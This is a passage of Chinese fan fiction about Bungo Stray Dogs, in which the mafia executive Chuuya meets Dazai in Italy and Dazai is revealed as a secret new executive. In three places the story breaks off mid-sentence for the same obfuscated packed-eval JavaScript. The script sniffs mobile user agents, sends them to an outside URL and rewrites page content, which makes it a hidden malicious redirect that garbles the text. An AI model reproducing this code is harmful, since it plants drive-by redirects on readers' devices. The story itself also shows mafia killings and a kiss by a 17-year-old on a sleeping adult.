埃德蒙多也跟着附和:“中也果然是个好哥哥呢,不过也不能总把时间花费在弟弟身上,试着经营一下自己的感情生活也不错。” 魏尔伦抱臂点头:“快二十六了连恋爱也没有谈过,还带着个小拖油瓶!” 中也一边回拨一边接话:“那种事情以后再说啦,我哪有时间。喂,哥,你就是看太宰不顺眼吧。” 魏尔伦:“我应该看他顺眼吗?” 中也对此不做评价,一心想着太宰怎么还不接电话,拨了好几遍都是“对方正在通话中”,他不信邪,又打了几遍,太宰依然没有接。 魏尔伦看不下去了,伸手夺过他的电话,无奈道:“行了,先回家醒醒酒,干部大人低声下气哄拖油瓶的戏码回家演行不行。” 自从五年前把太宰一人留在横滨后,或许是因为愧疚,中也对那个小鬼简直到了言听计从的地步,溺爱纵容到魏尔伦都看不下去,他不止一次提醒中也小孩这么惯着不好,对方依旧充耳不闻我行我素,谁在他面前说太宰不好他还要跟谁急。 惯的那小兔崽子一整个蹬鼻子上脸,魏尔伦光是想想就觉得很生气。 他领着已经醉倒的中也,在一众道别声中离开酒吧。 - 横滨,干部家中。 太宰看着被挂断的电话,单手撑住下巴,手机在手中有一下没一下转着,金属磕在桌子上发出清脆声响。 他跟中也常年分分居两地,即使中也的日程还有行动他全都了如指掌,但还是有形形色色的人在中也身边转来转去,浪潮一样一波一波涌来,怎么做都防不胜防。 今天这个他也知道,中也的合作方,估计只有中也那种级别的笨蛋才会完全注意不到别人眼里露出来的让人恶心的爱意,对方手还试探性搭在中也肩膀上,肆无忌惮的眼神简直称得上骚扰,还大言不惭叫他弟弟,真以为自己和中也关系很好吗? 烦死了,偷狗贼能不能自觉去死。 手机啪一下盖在桌面上,之后是死寂一样地安静。 太宰沉思片刻,又拿起手机,点开联系人,手指顿了一下,还是对着一个名字摁下拨号。 电话接通了,对面男声温和带笑:“太宰君,一早给我打电话是有什么重要的事情吗?” “我要去意大利。” “找中也君吗?当然可以,毕竟这些也是我和你交易的一部分。而且,如果中也君知道你十七岁就当上了Mafia的干部,肯定也很惊喜哦哟!” 太宰想象了一下中也知道他十二岁就加入黑手党的画面,惊喜没有,惊怒交集倒还差不多,毕竟中也可是明确表示过不希望他太早接触黑手党的事务,平时工作也有意避开他。 太宰沉默片刻,微笑道:“这件事我自己会和中也说的哦,不劳您费心。” “嗯,我当然会守口如瓶。那太宰君打电话过来,是希望我找个合理的理由把你送过去吗?” “都可以哦!但最好一小时内就能走。” 三两句结束通话后,太宰发现中也已经给他打了好几个电话,还留了几条消息。 【黏糊糊小蛞蝓:绷带精怎么不接电话?】 【黏糊糊小蛞蝓:又自杀去了?电话我哥不小心挂的,可别迁怒到我身上。】 【黏糊糊小蛞蝓:生气了?河豚成精啊你!真不打算理我了?】 【黏糊糊小蛞蝓:啧,还打算告诉某个混蛋一个惊喜呢,既然联系不上,那我可就不说了。】 太宰低头很轻很轻笑了一声,脑海中已经浮现出中也发这些消息时候的神态,估计已经喝得晕晕乎乎,一边琢磨打字的语气一边烦躁挠头,再跟身边的人抱怨几句他是个很能找事的作精。 他才不是作精,他就是要中也用心对待,和别人都不一样的那种用心。 - 中也从沉睡中费力睁开眼,手胡乱摸索两下,摁亮手机准备看看时间。 手机屏幕刚亮起,特别关心的消息就一条一条弹出来。 中也终于露出一个安心的笑,打开手机查看消息。 【撒谎精:没有不接电话,刚才有事哦。】 【撒谎精:虽然很想自杀啦,但是没有愿意和我殉情的美女,所以这个想法暂时搁置。】 【撒谎精:魏哥还是那么不喜欢我呀,中也快想想办法。】 【撒谎精:小猫打滚.JPG】 【撒谎精:中也好过分,居然给我起那么难听的称呼,河豚这种微生物比较适合中也才对吧。】 【撒谎精:中也这种单细胞生物也会准备惊喜吗?肯定很无聊啦,我一点也不期待哦。】 【撒谎精:我也给中也准备了惊喜。】 干部大人把消息翻来覆去看了好几遍,嘴角带着自己都没察觉的笑,忽然很想给太宰打个电话看看对方在干嘛。 拨号键还没摁出去,手机铃声就在空荡荡的房间里响起,联系人那一栏赫然写着“埃德蒙多”。 中也没有迟疑接起电话,询问:“怎么了,埃德?出什么事了。” 电话那头的人声音温柔:“刚醒吗,中也君?不是什么大事哦,抓到了一个西西里黑手党的奸细,现在正在审问,要来看看吗?” “行,等我。” 工作在任何时候都是第一位,中也翻身下床,飞速收拾好仪表骑着机车迎着夜幕赶过去。 到了私密地下室门口,埃德蒙多带着一身血腥气在门口等待他,见到中也的瞬间脸上就已经挂上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853260|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无懈可击的笑容:“已经结束了,只是个小啰啰,没问出什么有用的东西,剩下的已经交给你哥哥了哦。” 中也挑眉:“既然叫了魏尔伦,干嘛不早说,让我白跑一趟,真以为我是外卖员?” “我可不敢,重力使的威名在整个弗罗伦萨可是无人不知无人不晓。” “你找我有事?” 埃德蒙多点点头,笑道:“昨天酒馆庆功宴好多同事有事没来呢,他们好多人可都是你的忠实粉丝,一直想一睹你的真容呢,干部大人愿不愿意再赏个脸。” 中也皱眉:“别把我描述得跟电影明星一样啊,好恶心!!!” 拒绝完,中也又想起可能外国人说话就是这种肉麻的强调,也懒得再反驳,缓声道:“在哪,走吧,我本来也是打算再办一场,这次就多谢你了。” 几人走进酒馆的时候,昏黄暧昧的光线伴随着舒缓轻柔的音乐流淌在四周,中也一眼望去,酒馆里大多是一些年轻爱侣,在这种醉人的氛围里牵手拥抱,极尽缠绵。 中也脚步顿住了,不可置信道:“你就选了这么个地方,再怎么说也要配个摇滚乐和炫酷的灯光吧,这多没劲?!” 埃德蒙多一脸无辜:“我也不是故意的,而且,大家都已经到了。” 几个黑手党部下换了常服,但明显还是不太适应这种温柔暧昧的环境,正面面相觑如坐针毡,用看救星的目光看着中也。 埃德蒙多提议:“要进去吗,还是让他们先回去。” 来都来了,自然没有让部下失望的道理,中也顶着一张冷脸大步跨进去,大马金刀往高脚凳上一坐,一拍桌子叫来酒保,粗声道:“什么有名的最贵的都来给我们都来一遍,大家尽管喝,记我账上。” 这一番堪称粗鲁的行为,配合着中也身上十足的大哥风范,终于把众人从奇怪的氛围里拉出来,气氛又开始活跃起来。 埃德蒙多笑着坐到中也身边,递给他一杯酒,问道:“要尝尝这的朗姆酒吗,很有名的,味道不错。” 中也自知酒量一般,当然不会在亲信不在的情况下毫无防备饮酒,摇头道:“不了,早上酒还没醒,现在还头疼呢,我抽根烟缓缓。” 干部大人戴着黑手套的细长手指在身上摸索片刻,从烟盒里拿出一根烟,低头咬住,却发现好像忘了带打火机。 湖面一样美丽的蓝眼睛闪过一丝疑惑,他把嘴里的烟取下来,用秀长的食指和中指夹住。 底下的人十分有眼力见,纷纷摸出打火机送上火,等待干部大人的垂青。 埃德蒙多也摸出打火机,微弱的火光混在其中并不显眼,不过因为他离中也最近,加之在场中也和他最熟悉,干部大人手中的烟还是借着他的火燃起来。 猩红火光闪烁,撩人烟雾萦绕,四周不知何时落下纷纷扬扬银色闪片,像是一场大雪。 乐队的歌声传入耳中,像是在鼓励羞涩青年勇敢追求心上之人。 「即使暴雨滂沱,但若你在我身边」 「雨滴纷飞也与我无关」 「如果你像宿命那般信任着我」 …… 「如何向你诉说万般情感?渴望传达 如无垠深海」 埃德蒙多深吸一口气,准备说点什么,余光却注意到有人正在朝这边走来。 他不由好奇打量,纷纷扬扬亮片让他看不清对方的脸,只能看清那人高挑瘦削的身形,黑色大衣披在肩上,随着行动划出飘逸弧度,步伐轻快又优雅,像是走向心上人。 脚步声越来越近,青年的脸也随着距离变近而逐渐清晰。 黑发鸢眼,缠着绷带,十分俊丽,嘴角带着温柔的笑,目光一分也没有分给别人,如丝如绸一样缠在那位藏在缭绕烟雾中的干部大人身上。 一只苍白修长的手从干部大人身后伸出,扣住手腕处裸露的肌肤,对方掌心带着夜风的凉意,激起一阵战栗,那只手就那个不容拒绝地停在哪里,像是要夺取对方手里的烟,又像是借着这个机会牵手。 歌正好唱到最后一句。 「别无他物能够给你 除了我自己」 中也听见脚步声的时候,还没回头,嘴角已经扬起,等那只好看的手轻轻伸过来时,带着他熟悉的气息,他直接轻笑起来。 头顶属于少年的清凉音色传来:“中也,怎么总是不听话,都说了不要抽烟,好难闻。” 18. 新干部的身份 中也轻笑一声,仰头挑衅地看着胆大包天的某人:“这就是你说的惊喜?惊吓还差不多,我可不记得我答应你过来了,给个解释,太宰?” 太宰的掌心擦过中也手背,若无其事拿走对方手里的烟,在中也身后的高脚凳上坐下。 四周喧闹似乎正在远去,昏黄灯光里两人只能看见彼此明亮的眼睛。 太宰倾身向前,近乎耳语:“小狗胆敢挂主人电话,我还不能来看看怎么回事吗?” “你这家伙又找抽,少给我扯开话题了,你知不知道——” 太宰伸出一根手指按住中也的嘴唇,淡淡笑道:“我就知道中也要怀疑我,喏,解释的人来了。” 他话音刚落,酒馆门口又出现了两个逆着光的人影,劲爆的摇滚乐由远及近飘荡过来,一个带着墨镜扎着辫子的潮男欢呼:“哈喽,中也!哎呀,真是好久不见了,太宰这小子说的还挺准,你居然真在这里。” 中也眼中闪过一丝惊讶,笑问:“阿呆鸟,还有外交官,你们两个怎么也来了。” “老大说意大利分部已经平定得差不多了,最近还谈了笔大大的生意,正是需要人手的时候!”阿呆鸟非常不客气地从酒馆吧台上拿起两杯香槟,一杯塞进中也手里,玻璃相碰发出清脆声响,杯中气泡争先恐后向上浮起,“来,喝一杯,我跟外交官可是一听到这个机会就毫不犹豫来找你了!是不是超感动,快,咱们大明星也来跟中也碰一个!” “你这家伙,一把岁数了还是那么浮夸,吵的我头疼!” 外交官也跟中也碰杯,笑道:“在飞机上憋了一路呢,可算有让他说话的机会了,让让他吧。” “我说,你们两个也太过分了吧,居然当着我的面就那么说我,算了,我找其他弟兄喝。” 阿呆鸟不愧是天生属于社交场所的男人,很快就和在场隶属于意大利分部的黑手党打成一片,男人们的笑声震动整个酒馆。 中也和外交官寒暄时,埃德蒙多和太宰也在相互打量对方。 虽说知道太宰是中也的弟弟,但他们两个的动作实在是太亲密,尤其是太宰面对中也时身上流露出的那种占有欲和保护欲,很难让人相信他们两个只是纯洁的兄弟关系。 他充满审视意味的目光落在太宰身上,对方恍若未闻,而是把从中也手里拿过来的那只烟放到鼻尖轻轻嗅了嗅,微微蹙眉,咬进嘴里吸了一口,又被呛到一般剧烈咳嗽起来,颤抖如风中花瓣。 中也被咳嗽声惊动,连忙回头查看,半是责怪半是心疼地夺过烟摁灭,揽着太宰的肩膀把自己的外套脱下来给他。 “一眼没看住你就要抽烟!还有,多大了还不知道好好穿衣服,是想冷死自己再给我个惊喜吗?” “那种没意思的死法我才不要!中也中也,这个我能喝吗?”太宰指着一杯血一样暗红色的酒问道。 “不能。”干部大人毫不犹豫拒绝。 “那好吧~,那这一杯呢,这一杯可以吗?”他又指着另一位深邃如星空的酒问道。 “都不行啊!别问了!你个未成年还是好好喝牛奶才对吧。”中也无奈答道,挥手叫来酒保,让他们送来一杯温牛奶。 等到太宰面前摆上一杯和所有人都不一样的温牛奶的时候,他才难得安静一会,静静窝在中也身旁听着他和别人的交谈,低着头像个好奇的小孩一样把玩着干部大人秀长的手指。 中也看也不看,一只手扣住对方作乱的手指摁在自己大腿上,面不改色继续和其他部下们聊天。 手被囚禁住,太宰也不恼,掀起眼帘环顾四周,目光和埃德蒙德撞上时,他冲对方弯起眼睛勾唇一笑,目光却还是冷的。 埃德蒙多无端感受到一股子嘚瑟的意味,几乎可以断定这个面貌俊丽的少年和中也关系非同一般,男宠?情人?金丝雀?反正不可能是什么狗屁的兄弟关系。 他冷笑一声。 自己精心准备好的告白计划结果成了别人的嫁衣,埃德蒙多谈不上心情多好,更没心思看着中也和别人调情,如坐针毡到了半场就推脱有事草草告辞。 阿呆鸟看着对方面色不虞,还以为生了什么病,热情问道:“你自己回去没问题吧,要不我们送送你?” 埃德蒙多拒绝:“多谢,有人来接。不能陪着你们饮酒已经很失礼了,其他的就不多劳烦你们了。” “呃,行,路上小心。”“路上小心。”“慢走。” 看着埃德蒙多的背影踏出酒馆,阿呆鸟回头跟几人搭话:“这位外国哥们长得斯文,说话也文绉绉的,跟之前来横滨的那个叫亚当的机器人一个腔调!” 中也又给他递过去一杯香槟:“喝你的酒吧!少说两句。” “人长一张嘴不就是用来吃饭和说话的,中也到好,一开口就否决了我嘴巴的一半使用权。”阿呆鸟假模假样抱怨两句,又兴致勃勃拉着三人道,“哎,跟你们说个好玩的,在横滨我可不敢跟别人说!” 中也横眉:“哼,少卖关子了,什么事是你不敢说的。” “咱们Mafia多了个神秘的新干部!就在最近,悄无声息晋升的。” 中也蹙眉:“你确定?” 阿呆鸟点头,神神秘秘道:“真的哦,你应该不知道,就是你离开横滨到意大利之后,老大手底下来了个巨牛逼的人物,啧,那人可真是个全能人才,不管是谈合作还是制定作战计划,那叫一个心狠手辣算无遗策,咱们□□最近几年扩张不少,一半的收益可都来自这个新人,我觉得这个干部的位置肯定是他的。” 中也这几年一直为港口黑手党西方分部的事操劳,就算有空回横滨,汇报完工作后的全部时间都用来陪太宰治,还真不知道Mafia总部是什么情况。 中也举起手中香槟喝了一口,问道:“咱们港口居然还有这号人物吗,我还真有点好奇,既然这么出名,你们难道没见过面吗?” 阿呆鸟摇摇头:“这个人本来就是偏向幕后指挥工作,而且他的身份就是在Mafia也是最高机密,我还真没见过,连他升干部了也是我推断出来的————举行干部会议的那间会议室突然添了一把椅子。” “这样啊,搞的神神秘秘的,”中也问外交官,“你也没见过吗?” 外交官还真见过一次。 他作为港口黑手党的发言人,更是正面形象代表,常常出席各种上流宴会。某次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853261|159310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴会上,恐怖\分子扮做服务生混进来,企图伪装成黑手党的人中止Mafia和外国军\火走私组织的合作,眼看局面即将无法挽回时,宴会大门突然打开,那个新人带着港口黑蜥蜴部队到来。 当时外面正在下雨,雨帘外的一切被模糊得如同一部严重失焦的黑白电影,广津撑着一把黑伞带着一个穿着得体白色西装的人影慢慢走来。 走到室内,收伞的瞬间,所有的恐怖\分子瞬息间被割断脖颈,血溅在在场所有人身上,合作方更是被吓得跌倒在地。 一片惨叫和血污中,唯独那件白西装优雅得体,纤尘不染,西装的主人更是风度翩翩踱步至宴会的主人面前,弯腰伸手,微微一笑:“实在抱歉,雨天路难行,让您受惊了。这些人头是我们为这次合作献上的诚意,希望您还满意。” 一切美好宛如电影画面,如果忽略这是一场赤裸裸的充满威胁和压迫的谈话。 回忆戛然而止,外交官仰头将杯中酒饮尽,想起那次事件结束后来自“那个人”的警告,笑着对中也和阿呆鸟道:“问我吗?我当然也没有见过,那位不是一直被叫做‘港/黑幽灵’。” “啊——”阿呆鸟失望地叫唤一声,“居然连你也没有见过,我对这个新干部可是很好奇的。哎,其实我私底下向其他成员打听过哦,你们是不是也很好奇,我就告诉你们吧。据说那位新干部经常穿着一身黑色,全身都包裹得严严实实,哦对,据说就算脱了外套里面也被绷……” “中也~”太宰一下子把头靠在中也肩膀上。 对话被打断,中也扶住对方肩膀,偏头皱眉,低声询问:“怎么了,身体不舒服?” 太宰打了个长长的哈欠,一副眼皮都睁不开的困倦样:“好困,有点倒时差,头晕晕的好想吐,我们回去吧。” 酒馆人影稀疏,意大利也已经是深夜了。 外交官道:“我和阿呆鸟也有点困了,这次聚会不如先到这里吧。” 阿呆鸟抗议:“我话还没说完呢!我不困啊!” 外交官堵住他的嘴,冷漠道:“你喝醉了,一直说胡话呢,先回去吧。” 低下的黑手党成员也纷纷表示已经差不多了,明天还有工作。 “行吧,那今天就到这吧。” 买完单,中也带着人形挂件一样的太宰回到住处,把对方往沙发上一丢,道:“好了,已经回来了,装病的小把戏可以收一收了。” “诶?居然又被中也看出来了,好讨厌,中也不许戳穿我。” 太宰一扫刚才困倦的样子,装模作样要上来堵住中也的嘴,中也给他披上的外套在抬手时滑落,露出他自己的黑色大衣,手腕处缠着一层又一层白色的绷带。 黑色大衣,绷带? 这些年来虽说中也有意不让太宰掺和黑手党的工作,可毕竟日后太宰是要加入黑手党,对于太宰那些主动搜集Mafia资料,在他处理邮件时偶尔提出的优良建议的事他睁一只眼闭一只眼,他知道太宰对港\黑的情况了如指掌。 中也扬眉一笑,戴着黑手套的手指勾住对方手腕的绷带,鬼使神差来了一句:“太宰,你知道港口黑手党那个新干部是谁吗?” 19. 接吻 太宰眼神瞬间委屈起来,纤长睫毛遮住眼睛,小声道:“中也好讨厌,明明和我在一起。我们可是好久没见了,中也不先问我居然先打听新干部的事情!” 他没说知道也没说不知道,半真半假抱怨几句。 这么一打岔,中也忽然想起来正事:“我还没问你呢!旗会他们是首领派过来帮忙的,你呢,你也是黑手党?背着我偷偷过来还不提前跟我说,以为长大了我就不揍你了是不是?” 说这些话的时候,中也嘴角带着自己都没察觉的笑,说话的语气要是让敌对组织听到更是能直接惊掉下巴,一点属于重力使的威慑力都没有。 太宰一向很会蹬鼻子上脸,知道此时中也心情很不错,黑猫似的扑过去抱住对方,在中也耳边小声道:“我是黑手党家属嘛!而且,我过来可是森先生准许,知道你担心我的安全,所以我跟阿呆鸟他们一起来啦!” 十七岁的太宰治已经很大一只,但他自己显然没意识到这一点,还跟小时候一样扑过来,直接把中也一整个抱在怀里,乱蓬蓬的黑发在脸颊侧飘来飘去痒痒的,中也一肚子责怪瞬间散干净。 “好了好了,怪肉麻的!”嘴上这么说,中也也没推开他,嘟囔道,“少自恋了,谁担心你的安全!我是让你这混蛋不要好的不学学坏的,敢说谎话骗我我就把你扔出去,懂吗?” “嗯。”太宰声音瓮瓮的,“没有撒谎哦,真的是森先生让我来的,手续很齐全,我才不会拿自己的命开玩笑。” 中也想说你开的玩笑还少吗,不过这个时候显然不太合适,他动作娴熟地顺着摸了摸对方的脊背:“行了我知道了,你还要抱到什么时候?不是说困了,休息一会?” 宛如撸猫一样的动作显然很受用,太宰用力抱了一下后松开中也,欢快道:“那我要睡在左边,中也不许跟我抢!” 中也十分无语:“好幼稚啊你,而且我什么时候跟你抢过。” 太宰此人十分难伺候,从小到大致力于折磨中也的神经,不分场合地想把中也调教成离不开主人的专属女仆,整天左一个“嘬嘬嘬嘬”右一个“叫我主人”。 中也开始还挣扎否认,对方立马开始撒泼打滚鬼哭狼嚎闹出一堆十分丢人的动静,他不要脸中也还要呢,只好恶狠狠丢下一句“随你怎么说”“啊对对对随便你”之类的话,惯的对方越来越无法无天,就是不知道到了最后谁才是那只离不开主人的狗。 两人一边拌嘴一边轮流洗漱完,期间太宰治还跃跃欲试想帮中也吹头发,被中也凶巴巴拒绝后自闭地把自己埋进被子里,干部大人床上瞬间多了个委屈的大包。 吹完头发,中也走到床边,拿手隔着被子戳了戳那个鼓起来的大包,失笑道:“太宰治,你今年几岁啊,三岁小孩都没有这么幼稚的了,属鸵鸟的啊生气了就把自己埋起来?” 被子没出声。 嘚,又闹上脾气了,年纪不大脾气不小。 还好中也从小哄到大,十分熟门熟路:“你把自己裹起来我没意见,可是我就这一床被子,我没东西盖了,唉——,看来今晚只好找我哥借宿一晚了。” 被子蛄蛹两下,从一个完整的卷变成半个卷,分出一半被子到了旁边。 中也倒在床上,拽住半边被子用力一扯,被子里的人跟着滚啊滚,撞到中也怀里。 被子盖在两人上面,一片漆黑里中也看不清太宰的脸,只能凭借太宰近在咫尺的轻浅呼吸判断距离。 离得非常近,说话时的气息都能让对方感受到。 中也伸手捏了一下太宰的腰,问道:“怎么不开口,终于想明白你那张嘴有多可恨,决定当一个貌美的哑巴了?” 太宰“嘶”了一下,摁住中也的手,别扭道:“不要中也管!反正中也讨厌我我也讨厌中也,我才不想碰你!跟你在这么狭窄的空间里一起呼吸简直难以忍受,一股狗味好呛鼻,我恨不得把鼻子割了……” 中也冷笑着拧了他一下。 “嘶。”太宰提高语调,“中也你不要……” “闭嘴,睡觉。”中也把被子掀开,深吸一口新鲜空气,无奈道,“下回让你来,但有一条,不要再给我编那种解不开的小辫子。” “好哦!”太宰冒出头,悄悄靠近一点,几乎耳语道:“下回是什么时候?” 中也打了个哈欠,往旁边挪了挪,空出一半枕头,道:“下回就是下回,再问滚出去睡。” 说完这句,一股倦意涌上大脑,中也的呼吸渐渐规律。 太宰一向很少眠,更何况和中也隔了一个月没见,他借着窗外透过来的光将那张睡着后显得十分稚气的娃娃脸上上下下打量个遍,思绪乱七八糟,一会咬牙切齿觉得不听话的小狗简直可恶死了,一会又觉得中也睡着了跟小孩子一样没有戒心,就是咬两口也不会被发现吧。 半是纠结半是渴望,太宰不自觉凑得更近,一点一点挪到中也脸前,鼻尖几乎抵着鼻尖。 脸颊很好咬的样子,咬一口? 呼吸纠缠着呼吸,太宰屏息凝神慢慢张开嘴。 一阵劲爆的摇滚乐突然响起来,在寂静的夜晚显得十分突兀。 中也几乎瞬间就清醒过来,伸手要拿手机,仰头时动作太迅速,两人鼻梁直直撞上鼻梁。 “嘶——”“啊-,好痛~” 中也捂着鼻子没好气:“离我那么近干嘛?” 太宰:“……” 太宰:“明明都是中也的错,暴躁蛞蝓好讨厌~” “行行行随你怎么说!”中也不再跟他斗嘴,接起电话,声音严肃:“哥,怎么了?军\火交易出事了?!好,我马上过去。” 听见中也要走,太宰下意识拉住他的手,认真道:“怎么了?我跟你一起过去!” 中也安抚似的拍拍他的手背:“别闹,好好在家休息,战场的事还是交给我吧。” 说完,中也推开太宰,起身穿好衣服,回头嘱咐:“知道你聪明,但这边的事你不熟悉,先不要掺和,家里有监控,我要是发现你出门了就揍你。” 被推开后,太宰一直僵在原地,窗外透过的光线似乎也特意避开他,躲在阴影里的整个人神色晦暗不明,好半天才低低“嗯”了一声。 中也放下心,扣好腰带,带上要用的文件和身份证明,急匆匆离开房间。 - 另一边,刚离开酒馆的两个人开着车回到黑手党安排好的住处。 高级轿车里摇滚乐震天响,吵的人脑袋生疼。 阿呆鸟一边开车一边兴致勃勃跟外交官搭话:“哎,大明星,你是不是知道什么?” 外交官闭着眼假寐,不想理他。 “跟我讲讲呗,咱们旗会可是有约定,好兄弟就要坦诚一点啊!”阿呆鸟孜孜不倦骚扰对方,“说说吧说说吧,你肯定知道那个最高干部的事对不对!而且,我猜,肯定跟中也家那小子有关,你说对不对。” 外交官眼皮抽动,心知自己不说点什么,以阿呆鸟那个性格,肯定要带着他那摇滚乐吵一个晚上。 这回他跟阿呆鸟的住处被安排在一起,一想到有个这么活泼过头的领居外交官就一阵阵头疼,他开口:“先把你的音响关了。” “好嘞!”阿呆鸟大笑着伸手关掉音响,“现在可以说了吧。” “你是怎么知道那个新干部和太宰有关系?” “这还不简单,虽然没见过他几次,但中也哪次喝醉了不是一口一个‘绷带混蛋’地叫,巧了不是,据说那个新干部身上也有很多绷带,而且,最重要的是,我刚说出最高干部时,中也家那小子终于肯吧视线从中也身上移开,居然大发慈悲看了我一眼,不简单肯定不简单!” 外交官乐了:“居然是这么猜出来的,偷偷告诉你也可以。” 反正当时太宰也只说了不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后半句说不出口,太宰报复似的用力捏了几下。 中也解释:“太忙了,你知道的,在国外行动就是多有不便,除了依靠暴力还要谈判啊尔虞我诈啊什么的,那些我最讨厌了,其实我也……” 后半句没说完,中也就睡着了。 “真是小狗一样笨啊,算了,最近工作确实很辛苦。”太宰低声喃喃几句,从旁边拿了张毯子帮中也盖上,接着继续帮他揉肩膀。 揉着揉着,他的手指就顺着脖子移到中也脸上,点了点对方眼下乌青,不太开心地皱着眉,又捏了捏脸颊侧的软肉。 很软,有点可爱。 中也睡觉时很像个小孩子,毫无防备地闭着眼,张着嘴呼吸,从他这个角度往下看,还能看到胸膛的起伏。 太宰鬼使神差弯下腰。 - 意大利黑手党分部,大楼内,一个带着墨镜穿得花里胡哨的男人正在靠近中也的办公室。 此人正是中也的挚友,阿呆鸟。 那天听外交官说了太宰的身份,他一直有点放心不下,想和中也当面谈谈这件事,问问中也的看法。 他可不希望自己的朋友被骗。 谁知道中也一出差就是一周,今天可算是回来了。 到达办公室门口时,门没关,阿呆鸟心上一乐,太好了,中也就在办公室! 他直接推门进去,毫无防备撞见两个正在热吻的身影。 一个橘发身影坐在椅子上,仰着头,站在他身后的黑发少年低着头和他接吻。 听见脚步声,黑发主人抬起头,露出属于太宰那张脸,那双修长的手一只虚虚笼罩在中也脸上,像是遮掩又像占有,另一只手伸出一根手指压在唇边。 噤声的意思。 殷红的唇上还带着水光,鸢色眼底晦暗不明。 20.试探 中也这一觉睡了一下午,醒来的时候发现自己正躺在办公室隔间的简易休息室内,外套叠的整整齐齐放在一旁。 一看就知道是谁的手笔。 墙上的挂钟显示时间已经是晚上七点,中也掀开被子,弯腰穿鞋,起身去洗漱间洗把脸。 冷水打在脸上,中也清醒许多,他抬头看了眼镜子,忽然发现嘴角多了个细小的伤口。 他可不记得这个伤口怎么来的,对着镜子仔细查看,伤口很细,不像利刃所致,更像是牙齿咬到嘴唇,不小心留下这么一个伤口。 中也没放在心上,心说大概是自己不小心碰到了。 披上外套推开门,入目就是躺在休闲沙发上委委屈屈睡着的人影。 对方穿着白色衬衣,领带也没解,黑色西装裤裹着一双长腿,悠闲地搭在沙发边缘。 中也靠着门看了一会,低头笑出声,这才走过去掀开对方盖住脸的黑色大衣,问道:“哟,难得,没有二十层鹅绒床垫都嫌弃床太硬的金贵大少爷,怎么睡在这,家里的床不够你睡的?” 被人强行唤醒,太宰不耐烦皱眉,听见对方声音后又改成哼哼唧唧撒娇:“家里的太远了,走路好累,中也背着我我就考虑回去。” “五分钟路就累死你了?”中也嘲笑两句,眼尖地发现对方怀里的东西好像是自己的帽子,他伸手把帽子揪回来,“你这家伙没事拿我帽子干什么!不是送过你很多顶,可从来没见你戴过。” “啊——,好困~”太宰手掩着嘴打了个长长的哈欠,在沙发上翻了个身,“只是单纯觉得好玩啦,等中也一醒来,发现找不到帽子,肯定很生气,想想就觉得好有意思。” “你这家伙!算了随便你,还要睡到什么时候?我可是已经订好了餐厅,去不去?” 听见订好了餐厅,太宰竖起耳朵,伸出一只手在空中晃了晃,示意中也把他拉起来,欢快道:“吃晚饭吗?好耶,是只有我们两个人吗?” “那怎么可能啦,我还叫了大哥和旗会他们,嗯,时间也快到了!”中也丝毫没理会刚从沙发上起来就毫无形象地挂在自己身上的太宰,摸出手机看了眼信息,“唔,大哥有事说来不了了,不过阿呆鸟他们已经给我回消息了,说半小时后到——你快从我身上下去,多大了还这么黏人,很烦的好不好!” 太宰瘫回沙发上,拉过黑色大衣继续盖住脸,闷闷不乐:“还以为中也只叫了我一个人,居然喊了那么多,好过分我最讨厌人多了。既然他们去我就不去了。” 说着,他把自己蜷缩起来,很像一只被外界动静吓到后缩回巢穴的小兽,试图竖起柔软的盔甲保护自己不被伤害,但小兽对外界的好奇实在太重,时不时露出眼睛偷偷关注外界的动静。 这副样子中也从小看到大,没当一回事,往前走了几步坐在沙发边缘,懒洋洋道:“真不去了?那还真是可惜,店是我电话里跟你说过的那家,螃蟹做的非常好吃,早就想带你去尝尝了!唉,既然你不想去,那我只好跟朋友们去了。” 他作势起身,特意放缓动作,心里默数三秒之后,一只苍白骨感,手背微微透着青紫色筋脉的手捏住他的衣摆。 少年清凉语调响起,尾音丝毫没有随着年纪渐长而发生改变,总让人以为在撒娇:“中也等我一会啦,早就听中也说那家店好吃了,虽然不相信蛞蝓的品味,不过好心的主人可以勉为其难去看一眼哦!我倒要看看那家店是不是跟中也说的一样。” “二十分钟。” - Mafia楼下,一辆骚气的红色跑车在路边停了二十分钟。 劲爆的摇滚乐环绕里,副驾驶上貌若好女的男人无奈扶额,一旁的驾驶员还在喋喋不休动作夸张地描述今天中午看见的场面。 阿呆鸟一脸痛心疾首:“你是不知道,当时快吓死我了,我看中也办公室门没关就直接进去了,天呐!天呐!简直了!没想到太宰和中也真是那种关系!老天爷我当时眼珠子都要掉下来了!他们俩!唉!” 最后那一声“唉”十分真情实感,有种以为自家白菜被猪拱了,仔细一想其实是自家白菜拱了猪的破碎感。 外交官尽量维持着良好仪态:“我说,阿呆鸟,你能不能安静一会。” “这叫我怎么安静,你说中也看上那家伙什么了,不就是个子高一点,长得好看点,会撒娇了点。但是太宰可是个十七岁就能当上干部的人,他那些残暴冷血的事迹我这个黑手党听了都要害怕,啊啊啊好烦——” “他俩的事情从来不是我们能插手的,别小看中也啊。” 